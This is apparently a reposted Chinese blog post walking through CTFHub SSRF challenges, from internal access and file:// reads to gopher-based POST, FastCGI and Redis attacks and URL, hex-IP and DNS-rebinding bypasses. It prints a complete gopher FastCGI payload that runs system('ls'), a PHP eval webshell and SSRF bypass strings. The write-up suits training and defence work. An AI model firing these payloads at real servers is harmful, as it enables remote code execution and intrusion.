当前位置: 首页 > news >正文

web基础之SSRF

1、内网访问

题目提示:访问位于127.0.0.1的flag.php;直接利用ssrf漏洞访问
?url=127.0.0.1/flag.php

2、伪协议读取文件

(1)题目提示:尝试去读取一下Web目录下的flag.php吧
(2)什么是伪协议?

file:// 协议:访问本地文件系统;在ctf考察中通常来读取web目录的文件
http/s协议;探测内网主机存活
dict协议:泄露安装软件版本信息,查看端口,操作内网redis服务等
Gopher协议可以说是SSRF中的万金油。利用此协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp等等,也可以发送 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。 

(3)构造payload(web根目录一般都是var/www/html)
/?url=file:///var/www/html/flag.php
f12拿到flag

image

3、端口扫描

直接python写一个字典脚本;使用bp进行爆破;直接拿下flag
python脚本:

with open("password.txt", "w") as file:for i in range(8000, 9001):file.write(f"{i}\n") 

image

4、post请求

根据题目提示,一共有三个php文件;分别是flag.php、302.php、index.php;访问一下flag.php
http://challenge-10193e76d50d08cb.sandbox.ctfhub.com:10800?url=127.0.0.1/flag.php
f12发现了key;分析源码发现需要向服务器发送key才能拿到flag;于是构造post请求;使用gopher://协议进行传输;(自行了解);拿到flag

5、文件上传

构造payload;发现了文件上传点
/?url=127.0.0.1/flag.php
直接上传文件;但是发现没有上传按钮,修改html代码,增加提交按钮
<input type="submit" value="提交">
上传木马;但是发下上传不上去;那就是用gopher协议

6、FastCGI协议

(1)解释
fastcgi协议则是服务器中间件和某个语言后端进行数据交换的协议。Fastcgi协议由多个record组成,record也有header和body一说,服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端,语言后端解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件
(2)借助gopherus,构造从127.0.0.1访问payload,访问目录下的index.php, 别问我怎么知道在/var/www/html下有一个index.php文件;然后输入index.php目录,运行一下ls
 

image


自行下载gopherus-maste工具
 

image


把这一大段拉出来,准备二次编码
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH54%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%006%04%00%3C%3Fphp%20system%28%27ls%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
写一个python脚本,把上述payload进行二次编码;把二次编码后的结果拿出来;放到url;用上述相同的方法读取根目录,这次的RCE远程执行命令为ls /,查看html的上级目录,看到flag

image

7、Redis协议

(1)Redis是一个流行的开源内存数据管理系统,默认端口为6379。客户端和Redis服务器通过这个端口进行通信,客户端连接到Redis服务器后,对其中的数据进行读写等操作。因此,这个端口也是攻击者的常见攻击目标
(2)还是用gopherus

python2 gopherus.py –exploit redis
PHPShell
<?php eval($_POST["aaa"])?> 

antsword连接
 

image


拿到flag

image

8、URL Bypass

请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧;利用@如http://notfound.ctfhub.com@www.bbb.com, php会识别www.bbb.com

9、数字IP Bypass

这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢;进制转换
?url = 0x7f.0.0.1/flag.php

10、DNS重绑定 Bypass

生存时间(Time To Live)”- 简单的说它表示DNS记录在DNS服务器上缓存时间,数值越小,修改记录各地生效时间越快。
当各地的DNS(LDNS)服务器接受到解析请求时,就会向域名指定的授权DNS服务器发出解析请求从而获得解析记录;该解析记录会在DNS(LDNS)服务器中保存一段时间,这段时间内如果再接到这个域名的解析请求,DNS服务器将不再向授权DNS服务器发出请求,而是直接返回刚才获得的记录;而这个记录在DNS服务器上保留的时间,就是TTL值。
常见的设置TTL值的场景:
1.增大TTL值,以节约域名解析时间
2.减小TTL值,减少更新域名记录时的不可访问时间

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 微积分复习笔记 Calculus Volume 1 - 2.1 A Preview of Calculus
  • 通过 pl/sql developer工具插入数据的小技巧
  • 如何设计实现完成一个FPGA项目
  • 【LLM大模型】大模型架构:layer\_normalization
  • 【软件方案】大屏可视化智能展示平台解决方案(word原件完整版)
  • mfc140u.dll丢失有啥方法能够进行修复?分享几种mfc140u.dll丢失的解决办法
  • 安装Anaconda(过程)
  • 什么是API网关(API Gateway)?
  • idea如何配置模板
  • Windows conda常用方法
  • 【2023年】云计算金砖牛刀小试3
  • HTML5元素定位
  • 【delphi】判断多显示器下,程序在那个显示器中
  • 轨迹规划-B样条
  • OpenJDK 8 安装指南
  • co模块的前端实现
  • javascript从右向左截取指定位数字符的3种方法
  • Node.js 新计划:使用 V8 snapshot 将启动速度提升 8 倍
  • rabbitmq延迟消息示例
  • select2 取值 遍历 设置默认值
  • Storybook 5.0正式发布:有史以来变化最大的版本\n
  • tensorflow学习笔记3——MNIST应用篇
  • 基于Dubbo+ZooKeeper的分布式服务的实现
  • 让你成为前端,后端或全栈开发程序员的进阶指南,一门学到老的技术
  • 在Docker Swarm上部署Apache Storm:第1部分
  • SAP CRM里Lead通过工作流自动创建Opportunity的原理讲解 ...
  • 摩拜创始人胡玮炜也彻底离开了,共享单车行业还有未来吗? ...
  • ###C语言程序设计-----C语言学习(6)#
  • #FPGA(基础知识)
  • #pragma once与条件编译
  • #调用传感器数据_Flink使用函数之监控传感器温度上升提醒
  • (06)Hive——正则表达式
  • (22)C#传智:复习,多态虚方法抽象类接口,静态类,String与StringBuilder,集合泛型List与Dictionary,文件类,结构与类的区别
  • (31)对象的克隆
  • (Git) gitignore基础使用
  • (java版)排序算法----【冒泡,选择,插入,希尔,快速排序,归并排序,基数排序】超详细~~
  • (zhuan) 一些RL的文献(及笔记)
  • (读书笔记)Javascript高级程序设计---ECMAScript基础
  • (附源码)计算机毕业设计SSM基于java的云顶博客系统
  • (六)库存超卖案例实战——使用mysql分布式锁解决“超卖”问题
  • (求助)用傲游上csdn博客时标签栏和网址栏一直显示袁萌 的头像
  • (四)c52学习之旅-流水LED灯
  • (五)Python 垃圾回收机制
  • (转)JAVA中的堆栈
  • (转)Oracle 9i 数据库设计指引全集(1)
  • (轉貼) 寄發紅帖基本原則(教育部禮儀司頒布) (雜項)
  • .net core 6 集成 elasticsearch 并 使用分词器
  • .net core 源码_ASP.NET Core之Identity源码学习
  • .NET Framework 和 .NET Core 在默认情况下垃圾回收(GC)机制的不同(局部变量部分)
  • .NET/C# 如何获取当前进程的 CPU 和内存占用?如何获取全局 CPU 和内存占用?
  • .net知识和学习方法系列(二十一)CLR-枚举
  • .NET值类型变量“活”在哪?
  • .sys文件乱码_python vscode输出乱码
  • ?.的用法
  • [100天算法】-二叉树剪枝(day 48)